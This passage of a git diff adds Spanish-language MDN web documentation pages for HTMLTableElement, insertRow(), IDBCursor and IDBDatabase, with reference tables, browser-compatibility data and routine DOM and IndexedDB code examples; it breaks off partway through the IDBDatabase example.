+<p>Los objetos <code>table</code> revelan la interfaz del <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-64060425"><code>HTMLTableElement</code></a> la cual posee métodos y propiedades especiales (más allá del interfaz regular del objeto del <a href="/es/docs/DOM/element">elemento</a> que también tienen disponibles mediante herencia) para manipular la vista y presentación de tablas en HTML.</p>
+
+<h2 id="Propiedades" name="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><a href="/es/docs/DOM/table.caption">table.caption</a></dt>
+ <dd><strong>caption</strong> devuelve la leyenda de la tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.tHead">table.tHead</a></dt>
+ <dd><strong>tHead</strong> devuelve el encabezado de la tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.tFoot">table.tFoot</a></dt>
+ <dd><strong>tFoot</strong> devuelve el pie de la tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.rows">table.rows</a></dt>
+ <dd><strong>rows</strong> devuelve las filas de la tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.tBodies">table.tBodies</a></dt>
+ <dd><strong>tBodies</strong> devuelve los cuerpos de la tabla.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/docs/DOM/table.align">table.align</a> {{Deprecated_inline}}</dt>
+ <dd><strong>align</strong> da/define el alineamiento de la tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.bgColor">table.bgColor</a>{{Deprecated_inline}}</dt>
+ <dd><strong>bgColor</strong> da/define el color de fondo de la tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.border">table.border</a> {{Deprecated_inline()}}</dt>
+ <dd><strong>border</strong> da/define el borde de la tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.cellPadding">table.cellPadding</a></dt>
+ <dd><strong>cellPadding</strong> da/define el relleno interno de las celdas.</dd>
+ <dt><a href="/es/docs/DOM/table.cellSpacing">table.cellSpacing</a></dt>
+ <dd><strong>cellSpacing</strong> da/define el espacio entre celdas.</dd>
+ <dt><a href="/es/docs/DOM/table.frame">table.frame</a></dt>
+ <dd><strong>frame</strong> especifica que lados de la tabla tienen borde.</dd>
+ <dt><a href="/es/docs/DOM/table.rules">table.rules</a></dt>
+ <dd><strong>rules</strong> especifica cuales de los bordes internos son visibles.</dd>
+ <dt><a href="/es/docs/DOM/table.summary">table.summary</a></dt>
+ <dd><strong>summary</strong> da/define el resumen de la tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.width">table.width</a></dt>
+ <dd><strong>width</strong> da/define el ancho de la tabla.</dd>
+</dl>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<dl>
+ <dt><a href="/es/docs/DOM/table.createTHead">table.createTHead</a></dt>
+ <dd><strong>createTHead</strong> crea el encabezado de la tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.deleteTHead">table.deleteTHead</a></dt>
+ <dd><strong>deleteTHead</strong> elimina el encabezado de la tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.createTFoot">table.createTFoot</a></dt>
+ <dd><strong>createTFoot</strong> crea el pie de tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.deleteTFoot">table.deleteTFoot</a></dt>
+ <dd><strong>deleteTFoot</strong> elimina el pie de tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.createCaption">table.createCaption</a></dt>
+ <dd><strong>createCaption</strong> crea una nueva leyenda para la tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.deleteCaption">table.deleteCaption</a></dt>
+ <dd><strong>deleteCaption</strong> elimina la leyenda de tabla.</dd>
+ <dt><a href="/es/docs/DOM/table.insertRow">table.insertRow</a></dt>
+ <dd><strong>insertRow</strong> inserta una nueva fila.</dd>
+ <dt><a href="/es/docs/DOM/table.deleteRow">table.deleteRow</a></dt>
+ <dd><strong>deleteRow</strong> elimina una fila.</dd>
+</dl>
diff --git a/files/es/web/api/htmltableelement/insertrow/index.html b/files/es/web/api/htmltableelement/insertrow/index.html
new file mode 100644
index 0000000000..a3e49f3ac0
--- /dev/null
+++ b/files/es/web/api/htmltableelement/insertrow/index.html
@@ -0,0 +1,144 @@
+---
+title: HTMLTableElement.insertRow()
+slug: Web/API/HTMLTableElement/insertRow
+translation_of: Web/API/HTMLTableElement/insertRow
+---
+<div>
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+</div>
+
+<p>El método <strong><code>HTMLTableElement.insertRow()</code></strong> inserta una nueva fila en la tabla.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>row</em> = <em>HTMLTableElement</em>.insertRow(<em>optional index = -1</em>);</pre>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/HTMLTableElement"><code>HTMLTableElement</code></a> es una referencia a un elemento table HTML.</li>
+ <li><code>index</code> es el índice de fila de la nueva fila.</li>
+ <li><code>row</code> queda asignada a una referencia a la nueva fila. Una referencia a un <a href="/en-US/docs/Web/API/HTMLTableRowElement">HTMLTableRowElement</a>.<br>
+  Si <code>index</code> es -1 o igual al número de filas, la nueva fila es añadida detrás de la última. Si <code>index</code> es mayor que el números defilas, es lanzada una excepción IndexSizeError. Si index se omite, se asume por defecto -1.</li>
+ <li>Si  una tabla tiene múltiples elementos <code>tbody</code>, por defecto la nueva fila es insertada en el último <code>tbody</code>. Para insertar una fila dentro de un  <code>tbody</code> especifico pued hacer:<br>
+  <code>var <em>specific_tbody</em>=document.getElementById(<em>tbody_id</em>);<br>
+  var <em>row</em>=specific_tbody.insertRow(<em>index</em>)</code></li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:html">&lt;table id="TableA"&gt;
+&lt;tr&gt;
+&lt;td&gt;Antigua fila superior&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+&lt;script type="text/javascript"&gt;
+
+function addRow(tableID) {
+  // Obtiene una referencia a la tabla
+  var tableRef = document.getElementById(tableID);
+
+  // Inserta una fila en la tabla, en el índice 0
+  var newRow   = tableRef.insertRow(0);
+
+  // Inserta una celda en la fila, en el índice 0
+  var newCell  = newRow.insertCell(0);
+
+  // Añade un nodo de texto a la celda
+  var newText  = document.createTextNode('Nueva fila superior');
+  newCell.appendChild(newText);
+}
+
+// Llama a addRow() con el ID de la tabla
+addRow('TableA');
+
+&lt;/script&gt;</pre>
+
+<p>Para ser válida en un documento HTML, una TR debe contener al menos un elemento TD.</p>
+
+<p>Observese que <code>insertRow</code> inserta la fila diréctamente en la tabla y retorna una referencia a la nueva fila. La fila no necesita ser añadida separadamente (p.e. con <code><a href="/es/docs/DOM/document.appendChild">document.appendChild()</a></code>) tal sería el caso si se usase <code><a href="/en-US/docs/DOM/document.createElement">document.createElement()</a></code> para crear el nuevo elemento TR.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "tables.html#dom-table-insertrow", "HTMLTableElement.insertRow()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-93995626", "HTMLTableElement.insertRow()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Especificó con más detalle dónde se inserta la fila.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM1", "level-one-html.html#ID-39872903", "HTMLTableElement.insertRow()")}}</td>
+   <td>{{Spec2("DOM1")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4</td>
+   <td>3<sup>[1]</sup></td>
+   <td>5.5</td>
+   <td>10</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] A partir deGecko 20.0 {{geckoRelease("20.0")}} el argumento index se estableció como opcional y con valor por defecto -1 según la especificación HTML.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("HTMLTableRowElement.insertCell()")}}</li>
+</ul>
diff --git a/files/es/web/api/idbcursor/continue/index.html b/files/es/web/api/idbcursor/continue/index.html
new file mode 100644
index 0000000000..90679783b1
--- /dev/null
+++ b/files/es/web/api/idbcursor/continue/index.html
@@ -0,0 +1,194 @@
+---
+title: IDBCursor.continue()
+slug: Web/API/IDBCursor/continue
+tags:
+  - API
+  - Almacen
+  - Basededatos
+  - Continuar
+  - CursorIDB
+  - IndexadoIDB
+  - Referencia
+  - metodo
+translation_of: Web/API/IDBCursor/continue
+---
+<p>{{APIRef("IndexedDB")}}</p>
+
+<p><strong><code>El siguiente()</code></strong> método de la  {{domxref("IDBCursor")}} interfaz, avanza el cursor hacia la siguiente posición a lo largo de su dirección, para el elemento cuya tecla marque la opción de una tecla parámetro. si ninguna tecla es especificada, el cursor avanzará hacia la siguiente posición, bazado en su dirección actual.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">cursor.continue(<em>optionalKey</em>);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em>Tecla opcional</em></dt>
+ <dd>La tecla para posisionar al cursor en.</dd>
+</dl>
+
+<h3 id="Excepciones"><span style="line-height: 1.5;">Excepciones</span></h3>
+
+<p>Este método puede plantear un{{domxref("DOMException")}} con una {{domxref("DOMError")}} de uno de los siguientes tipos:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Excepción</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>Esta transacción en el Cursor IDB está inactiva.</td>
+  </tr>
+  <tr>
+   <td><code>DataError</code></td>
+   <td>
+    <p>El parámetro de una tecla podría tener una de las siguientes condiciones:</p>
+
+    <ul>
+     <li>La tecla no es una tecla valida.</li>
+     <li>La tecla está más atrás o en el mismo sitio que la posición del cursor y además la dirección del cursor es la siguiente o la única siguiente.</li>
+     <li>La tecla está más adelante o en el mismo sitio que la posición del cursor y además la dirección del cursor es previa o la única previa.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>El cursor está siendo reiterado o se ha reiterado mas allá de su final.<br>
+     </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En este simple fragmento nosotros creamos una transacción, recuperar un objeto del almacen, despues usamos un cursor para interactuar a traves de todos los registros en almacen de objetos. El cursor no requiere que nosotros seleccionemos los datos basados en una tecla; podemos tomarlo todo. También es importante resaltar que en cada interacción de la cadena, puedes tomar datos desde el registro actual debajo del objeto del cursor usando<code> </code><code style="font-style: normal; line-height: 1.5;">cursor.value.foo</code><span style="line-height: 1.5;">. Para dar un ejemplo completo, puedes mirar nuestra <a href="https://github.com/mdn/IDBcursor-example/">IDBCursor example</a></span><span style="line-height: 1.5;"> (</span><a href="http://mdn.github.io/IDBcursor-example/" style="line-height: 1.5;">view example live</a><span style="line-height: 1.5;">.)</span></p>
+
+<pre style="font-size: 14px;"><span style="line-height: 1.5;">function displayData() {</span>
+  var transaction = db.transaction(['rushAlbumList'], "readonly");
+  var objectStore = transaction.objectStore('rushAlbumList');
+
+  objectStore.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = cursor.value.albumTitle + ', ' + cursor.value.year;
+      list.appendChild(listItem);
+
+      cursor.continue();
+    } else {
+      console.log('Entries all displayed.');
+    }
+  };
+};</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBCursor-continue-void-any-key', 'continue()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, parcial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="warning">
+<p>Ten cuidado en Chrome ya que todavía están siendo implementado las antiguas especificaciones con las nuevas. Del mismo modo que todavía tiene la propiedad <code>webkitIndexedDB</code> aun si el<code> indexedDB</code> sin prefijo esta presente.</p>
+</div>
+
+<h2 id="Te_puede_interesar">Te puede interesar</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+ <li>Starting transactions: {{domxref("IDBDatabase")}}</li>
+ <li>Using transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li>
+ <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li>
+ <li>Using cursors: {{domxref("IDBCursor")}}</li>
+ <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/api/idbcursor/index.html b/files/es/web/api/idbcursor/index.html
new file mode 100644
index 0000000000..841bf6f9be
--- /dev/null
+++ b/files/es/web/api/idbcursor/index.html
@@ -0,0 +1,194 @@
+---
+title: IDBCursor
+slug: Web/API/IDBCursor
+tags:
+  - API
+  - Database
+  - IDBCursor
+  - IndexedDB
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - Storage
+  - TopicStub
+translation_of: Web/API/IDBCursor
+---
+<p>{{APIRef("IndexedDB")}}</p>
+
+<p>La interfaz <strong><code>IDBCursor</code></strong> de la <a href="/en-US/docs/IndexedDB">IndexedDB API</a> representa un <a href="/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_cursor">cursor</a> para atravesar o iterar varios registros de una base de datos.</p>
+
+<p>El cursor tiene una fuente que indica el índice o el almacén de objetos sobre el que se está iterando. Tiene una posición dentro del rango y se mueve en una dirección que aumenta o disminuye en el orden de las Keys de registro. El cursor permite a una aplicación procesar asincrónicamente todos los registros del rango del cursor.</p>
+
+<p>Puede tener un número ilimitado de cursores al mismo tiempo. Siempre se obtiene el mismo objeto <code>IDBCursor</code> que representa un cursor determinado. Las operaciones se realizan en el índice subyacente o en el almacén de objetos.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("IDBCursor.advance()")}}</dt>
+ <dd>Establece el número de veces que un cursor debe mover su posición hacia adelante.</dd>
+ <dt>{{domxref("IDBCursor.continue()")}}</dt>
+ <dd>Avanza el cursor a la siguiente posición a lo largo de su dirección, hasta el elemento cuya <code>key</code> coincide con el parámetro clave opcional.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("IDBCursor.delete()")}}</dt>
+ <dd>Devuelve un objeto {{domxref("IDBRequest")}} y, en un hilo separado, elimina el registro en la posición del cursor, sin cambiar la posición del cursor. Esto se puede utilizar para borrar registros específicos.</dd>
+ <dd>{{domxref("IDBCursor.update()")}}</dd>
+ <dd>Devuelve un objeto {{domxref("IDBRequest")}} y, en un hilo separado, actualiza el valor en la posición actual del cursor en el almacén de objetos. Esto se puede utilizar para actualizar registros específicos.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("IDBCursor.source")}} {{readonlyInline}}</dt>
+ <dd>Devuelve {{domxref("IDBObjectStore")}} o {{domxref("IDBIndex")}}} que el cursor está iterando. Esta función nunca devuelve nulo o lanza una excepción, incluso si el cursor está siendo iterado, ha iterado más allá de su final, o su transacción no está activa.</dd>
+ <dt>{{domxref("IDBCursor.direction")}} {{readonlyInline}}</dt>
+ <dd></dd>
+ <dd>Devuelve la dirección de desplazamiento del cursor. Ver <a href="#const_next">Constants</a> para valores posibles.</dd>
+ <dd>{{domxref("IDBCursor.key")}} {{readonlyInline}}</dd>
+ <dd>Devuelve la <code>key</code> del registro en la posición del cursor. Si el cursor está fuera de su rango, se fija en <code>undefined</code>. La <code>key</code> del cursor puede ser de cualquier tipo de datos.</dd>
+ <dd>{{domxref("IDBCursor.primaryKey")}} {{readonlyInline}}</dd>
+ <dd>Devuelve la <code>key</code> primaria efectiva actual del cursor. Si el cursor está siendo iterado o ha iterado fuera de su rango, se fija en <code>undefined</code>. La <code>key</code> principal del cursor puede ser cualquier tipo de datos.</dd>
+</dl>
+
+<h2 id="Constants" name="Constants">Constants</h2>
+
+<div>{{ deprecated_header(13) }}</div>
+
+<div class="warning">
+<p>These constants are no longer available — they were removed in Gecko 25. You should use the string constants directly instead. ({{ bug(891944) }})</p>
+</div>
+
+<ul>
+ <li><code>NEXT </code>: <code>"next"</code> : The cursor shows all records, including duplicates. It starts at the lower bound of the key range and moves upwards (monotonically increasing in the order of keys).</li>
+ <li><code>NEXTUNIQUE</code> : <code>"nextunique"</code> : The cursor shows all records, excluding duplicates. If multiple records exist with the same key, only the first one iterated is retrieved. It starts at the lower bound of the key range and moves upwards.</li>
+ <li><code>PREV </code>: <code>"prev"</code> : The cursor shows all records, including duplicates. It starts at the upper bound of the key range and moves downwards (monotonically decreasing in the order of keys).</li>
+ <li><code>PREVUNIQUE </code>: <code>"prevunique"</code> : The cursor shows all records, excluding duplicates. If multiple records exist with the same key, only the first one iterated is retrieved. It starts at the upper bound of the key range and moves downwards.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En este simple fragmento creamos una transacción, recuperamos un almacén de objetos y usamos un cursor para iterar todos los registros del almacén de objetos. El cursor no nos obliga a seleccionar los datos en base a una <code>key</code>; podemos simplemente cogerlos todos. También tenga en cuenta que en cada iteración del bucle, puede tomar datos del registro actual bajo el objeto del cursor utilizando <code style="font-style: normal; line-height: 1.5;">cursor.value.foo</code>. Para un ejemplo completo de funcionamiento, vea nuestro <span style="line-height: 1.5;"><a href="https://github.com/mdn/IDBcursor-example/">IDBCursor example</a></span><span style="line-height: 1.5;"> (</span><a href="http://mdn.github.io/IDBcursor-example/" style="line-height: 1.5;">view example live</a><span style="line-height: 1.5;">.)</span></p>
+
+<pre class="brush: js"><span style="line-height: 1.5;">function displayData() {</span>
+  var transaction = db.transaction(['rushAlbumList'], "readonly");
+  var objectStore = transaction.objectStore('rushAlbumList');
+
+  objectStore.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = cursor.value.albumTitle + ', ' + cursor.value.year;
+      list.appendChild(listItem);
+
+      cursor.continue();
+    } else {
+      console.log('Entries all displayed.');
+    }
+  };
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBCursor', 'cursor')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24 [1]</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]Be careful in Chrome as it still implements the old specification along with the new one. Similarly it still has the prefixed <code>webkitIndexedDB</code> property even if the unprefixed <code>indexedDB</code> is present.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+ <li>Starting transactions: {{domxref("IDBDatabase")}}</li>
+ <li>Using transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li>
+ <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li>
+ <li>Using cursors: {{domxref("IDBCursor")}}</li>
+ <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/es/web/api/idbdatabase/index.html b/files/es/web/api/idbdatabase/index.html
new file mode 100644
index 0000000000..c16635051b
--- /dev/null
+++ b/files/es/web/api/idbdatabase/index.html
@@ -0,0 +1,258 @@
+---
+title: IDBDatabase
+slug: Web/API/IDBDatabase
+tags:
+  - API
+  - Database
+  - IDBDatabase
+  - IndexedDB
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Storage
+  - TopicStub
+  - accessing data
+  - asynchronous access
+  - transactions
+translation_of: Web/API/IDBDatabase
+---
+<p>{{APIRef("IndexedDB")}}</p>
+
+<div>
+<p>The <strong><code>IDBDatabase</code></strong> interface of the IndexedDB API provides a <a href="/en-US/docs/IndexedDB#database_connection">connection to a database</a>; you can use an <code>IDBDatabase</code> object to open a <a href="/en-US/docs/IndexedDB#gloss_transaction">transaction</a> on your database then create, manipulate, and delete objects (data) in that database. The interface provides the only way to get and manage versions of the database.</p>
+
+<p>{{AvailableInWorkers}}</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Everything you do in IndexedDB always happens in the context of a <a href="/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_transaction">transaction</a>, representing interactions with data in the database. All objects in IndexedDB — including object stores, indexes, and cursors — are tied to a particular transaction. Thus, you cannot execute commands, access data, or open anything outside of a transaction.</p>
+</div>
+
+<h2 id="Methods">Methods</h2>
+
+<p>Inherits from: <a href="/en-US/docs/DOM/EventTarget">EventTarget</a></p>
+
+<dl>
+ <dt>{{domxref("IDBDatabase.close()")}}</dt>
+ <dd>Returns immediately and closes the connection to a database in a separate thread.</dd>
+ <dt>{{domxref("IDBDatabase.createObjectStore()")}}</dt>
+ <dd>Creates and returns a new object store or index.</dd>
+ <dt>{{domxref("IDBDatabase.deleteObjectStore()")}}</dt>
+ <dd>Destroys the object store with the given name in the connected database, along with any indexes that reference it.</dd>
+ <dt>{{domxref("IDBDatabase.transaction()")}}</dt>
+ <dd>Immediately returns a transaction object ({{domxref("IDBTransaction")}}) containing the {{domxref("IDBTransaction.objectStore")}} method, which you can use to access your object store. Runs in a separate thread.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("IDBDatabase.name")}} {{readonlyInline}}</dt>
+ <dd>A {{ domxref("DOMString") }} that contains the name of the connected database.</dd>
+ <dt>{{domxref("IDBDatabase.version")}} {{readonlyInline}}</dt>
+ <dd>A <a href="/en-US/docs/NSPR_API_Reference/Long_Long_(64-bit)_Integers">64-bit integer</a> that contains the version of the connected database. When a database is first created, this attribute is an empty string.</dd>
+ <dt>{{domxref("IDBDatabase.objectStoreNames")}} {{readonlyInline}}</dt>
+ <dd>A {{ domxref("DOMStringList") }} that contains a list of the names of the <a href="/en-US/docs/IndexedDB#gloss_object_store">object stores</a> currently in the connected database.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("IDBDatabase.onabort")}}</dt>
+ <dd>Fires when access of the database is aborted.</dd>
+ <dt>{{domxref("IDBDatabase.onclose")}}</dt>
+ <dd>Fires when the {{event("close")}} event occurs; this happens when the database is unexpectedly closed, such as during application shutdown.</dd>
+ <dt>{{domxref("IDBDatabase.onerror")}}</dt>
+ <dd>Fires when access to the database fails.</dd>
+ <dt>{{domxref("IDBDatabase.onversionchange")}}</dt>
+ <dd>
+ <p>Fires when a database structure change ({{domxref("IDBOpenDBRequest.onupgradeneeded")}} event or<code> </code>{{domxref("IDBFactory.deleteDatabase()")}} was requested elsewhere (most probably in another window/tab on the same computer). This is different from the version change transaction (see {{domxref("IDBVersionChangeEvent")}}), but it is related.</p>
+ </dd>
+</dl>
+
+<h2 id="example" name="example">Example</h2>
+
+<p>In the following code snippet, we open a database asynchronously ({{domxref("IDBFactory")}}), handle success and error cases, and create a new object store in the case that an upgrade is needed ({{ domxref("IDBdatabase") }}). For a complete working example, see our <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</p>
+
+<pre class="brush: js;highlight:[13,24,26,27,28,32]">// Let us open our database
+  var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+  // these two event handlers act on the IDBDatabase object, when the database is opened successfully, or not
+  DBOpenRequest.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Error loading database.&lt;/li&gt;';
+  };
+
+  DBOpenRequest.onsuccess = function(event) {
+    note.innerHTML += '&lt;li&gt;Database initialised.&lt;/li&gt;';
+
+    // store the result of opening the database in the db variable. This is used a lot later on
+    db = DBOpenRequest.result;
+
+    // Run the displayData() function to populate the task list with all the to-do list data already in the IDB
+    displayData();
+  };
+
+  // This event handles the event whereby a new version of the database needs to be created
+  // Either one has not been created before, or a new version number has been submitted via the
+  // window.indexedDB.open line above
+
